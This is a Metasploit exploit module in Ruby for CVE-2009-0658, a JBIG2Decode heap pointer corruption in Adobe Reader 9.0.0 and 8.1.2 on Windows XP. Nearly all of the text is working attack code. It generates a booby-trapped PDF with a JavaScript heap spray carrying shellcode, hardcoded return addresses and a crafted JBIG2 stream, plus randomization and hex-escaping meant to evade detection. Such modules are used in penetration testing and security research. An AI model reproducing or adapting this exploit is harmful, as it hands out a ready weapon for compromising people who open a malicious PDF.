Adobe JBIG2Decode Memory Corruption Exploit

`###  
## This file is part of the Metasploit Framework and may be subject to  
## redistribution and commercial restrictions. Please see the Metasploit  
## Framework web site for more information on licensing and terms of use.  
## http://metasploit.com/framework/  
###  
  
require 'msf/core'  
require 'zlib'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Adobe JBIG2Decode Memory Corruption Exploit',  
'Description' => %q{  
This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.  
This module relies upon javascript for the heap spray.  
},  
'License' => MSF_LICENSE,  
'Author' =>   
[   
# Metasploit implementation  
'natron',   
# bl4cksecurity blog explanation of vuln [see References]  
'xort', 'redsand',   
# obfuscation techniques and pdf template from util_printf  
'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',   
],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE' , '2009-0658' ],  
[ 'OSVDB', '52073' ],  
[ 'URL', 'http://bl4cksecurity.blogspot.com/2009/03/adobe-acrobatreader-universal-exploit.html'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => ""  
},  
'Platform' => 'win',  
'Targets' =>  
[   
[ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ], # Ret * 5 == 0x07018A90 (BIB.dll)  
[ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ], # Ret * 5 == 0x07017A30 (BIB.dll)  
],  
'DisclosureDate' => 'Feb 2009',  
'DefaultTarget' => 0))  
  
register_options([  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),  
], self.class)  
  
end  
  
def exploit   
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
ptroverwrite = Rex::Text.to_unescape([target.ret].pack("V"))  
  
nops = Rex::Text.to_unescape(make_nops(4))  
  
# Randomize some variables  
rand1 = rand_text_alpha(rand(50) + 1)   
rand2 = rand_text_alpha(rand(50) + 1)   
rand3 = rand_text_alpha(rand(50) + 1)   
rand4 = rand_text_alpha(rand(50) + 1)   
rand5 = rand_text_alpha(rand(50) + 1)   
rand6 = rand_text_alpha(rand(50) + 1)   
rand7 = rand_text_alpha(rand(50) + 1)   
rand8 = rand_text_alpha(rand(50) + 1)   
rand9 = rand_text_alpha(rand(50) + 1)   
rand10 = rand_text_alpha(rand(50) + 1)   
rand11 = rand_text_alpha(rand(50) + 1)   
rand12 = rand_text_alpha(rand(50) + 1)   
rand13 = rand_text_alpha(rand(50) + 1)   
rand14 = rand_text_alpha(rand(50) + 1)   
rand15 = rand_text_alpha(rand(50) + 1)   
rand16 = rand_text_alpha(rand(50) + 1)   
  
script = %Q|  
var #{rand1} = "";  
var #{rand2} = "";  
var #{rand3} = unescape("#{shellcode}");  
var #{rand4} = "";  
  
for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape("#{nops}");  
#{rand6} = #{rand4} + #{rand3};  
#{rand7} = unescape("#{nops}");  
#{rand8} = 20;  
#{rand9} = #{rand8}+#{rand6}.length  
while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};  
#{rand10} = #{rand7}.substring(0, #{rand9});  
#{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9});  
while(#{rand11}.length+#{rand9} < 0x40000) #{rand11} = #{rand11}+#{rand11}+#{rand10};  
#{rand12} = new Array();  
for (#{rand5}=0;#{rand5}<100;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6};  
  
for (#{rand5}=142;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{ptroverwrite}");  
#{rand13} = #{rand2}.length + 20  
while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2};  
#{rand14} = #{rand2}.substring(0, #{rand13});  
#{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13});  
while(#{rand15}.length+#{rand13} < 0x40000) #{rand15} = #{rand15}+#{rand15}+#{rand14};  
#{rand16} = new Array();  
for (#{rand5}=0;#{rand5}<125;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2};  
|   
eaxptr = "\x00\x20\x50\xff" # CALL DWORD PTR DS:[EAX+20]  
eaxp20ptr = "\x05\x69\x50\x50" # Shellcode location called by CALL DWORD PTR DS:[EAX+20]  
modifier = "\x00\x69\x00\x00" # ECX values seen: 02004A00, 033C9F58, 0338A228, 031C51F8, 0337B418  
# natron@kubuntu-nkvm:~$ ./pdf-calc-val.rb 0x690000  
# EAX: 0x690000 ECX: 0x2004a00 WriteAddr: 0xa3449ec  
# EAX: 0x690000 ECX: 0x358a228 WriteAddr: 0xb8ca214  
  
jbig2stream = eaxptr + "\x40\x00" + modifier + eaxp20ptr  
  
# Create the pdf  
pdf = make_pdf(script, jbig2stream)  
  
print_status("Creating '#{datastore['FILENAME']}' file...")   
  
file_create(pdf)  
end  
  
def RandomNonASCIIString(count)  
result = ""  
count.times do  
result << (rand(128) + 128).chr  
end  
result  
end  
  
def ioDef(id)  
"%d 0 obj" % id  
end  
  
def ioRef(id)  
"%d 0 R" % id  
end  
  
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/  
def nObfu(str)  
result = ""  
str.scan(/./u) do |c|  
if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'  
result << "#%x" % c.unpack("C*")[0]  
# Randomize the spaces and newlines   
elsif c == " "  
result << " " * (rand(3) + 1)  
if rand(2) == 0  
result << "\x0d\x0a"  
result << " " * rand(2)  
end  
else  
result << c  
end  
end  
result  
end  
  
def ASCIIHexWhitespaceEncode(str)  
result = ""  
whitespace = ""  
str.each_byte do |b|  
result << whitespace << "%02x" % b  
whitespace = " " * (rand(3) + 1)  
end  
result << ">"  
end  
  
def make_pdf(js, jbig2)  
  
xref = []  
eol = "\x0d\x0a"  
endobj = "endobj" << eol  
  
# Randomize PDF version?  
pdf = "%%PDF-%d.%d" % [1 + rand(2), 1 + rand(5)] << eol  
pdf << "%" << RandomNonASCIIString(4) << eol  
xref << pdf.length  
pdf << nObfu(" ") << ioDef(1) << nObfu(" << /Type /Catalog /Outlines ") << ioRef(2) << nObfu(" /Pages ") << ioRef(3) << nObfu(" /OpenAction ") << ioRef(5) << " >> " << endobj  
xref << pdf.length  
pdf << nObfu(" ") << ioDef(2) << nObfu(" << /Type /Outlines /Count 0 >> ") << endobj  
xref << pdf.length  
pdf << nObfu(" ") << ioDef(3) << nObfu(" << /Type /Pages /Kids [ ") << ioRef(4) << nObfu(" ") << ioRef(7) << nObfu(" ] /Count 2 >> ") << endobj  
xref << pdf.length  
pdf << nObfu(" ") << ioDef(4) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << nObfu(" /MediaBox [0 0 612 792 ] >> ") << endobj  
xref << pdf.length  
pdf << nObfu(" ") << ioDef(5) << nObfu(" << /Type /Action /S /JavaScript /JS ") + ioRef(6) + " >> " << endobj  
xref << pdf.length  
  
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js), rand(5)+4) # Add random 4-9 compression level  
pdf << nObfu(" ") << ioDef(6) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol  
pdf << "stream" << eol  
pdf << compressed << eol  
pdf << "endstream" << eol  
pdf << endobj  
xref << pdf.length  
  
pdf << nObfu(" ") << ioDef(7) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << " /Contents [ " << ioRef(8) << " ] >> " << eol  
  
xref << pdf.length  
compressed = Zlib::Deflate.deflate(jbig2.unpack('H*').to_s, rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression  
pdf << nObfu(" ") << ioDef(8) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol  
pdf << "stream" << eol  
pdf << compressed << eol  
pdf << "endstream" << eol  
pdf << endobj  
  
xrefPosition = pdf.length  
pdf << "xref" << eol  
pdf << "0 %d" % (xref.length + 1) << eol  
pdf << "0000000000 65535 f" << eol  
xref.each do |index|  
pdf << "%010d 00000 n" % index << eol  
end  
pdf << "trailer" << nObfu("<< /Size %d /Root " % (xref.length + 1)) << ioRef(1) << " >> " << eol  
pdf << "startxref" << eol  
pdf << xrefPosition.to_s() << eol  
pdf << "%%EOF" << eol  
end  
  
end  
`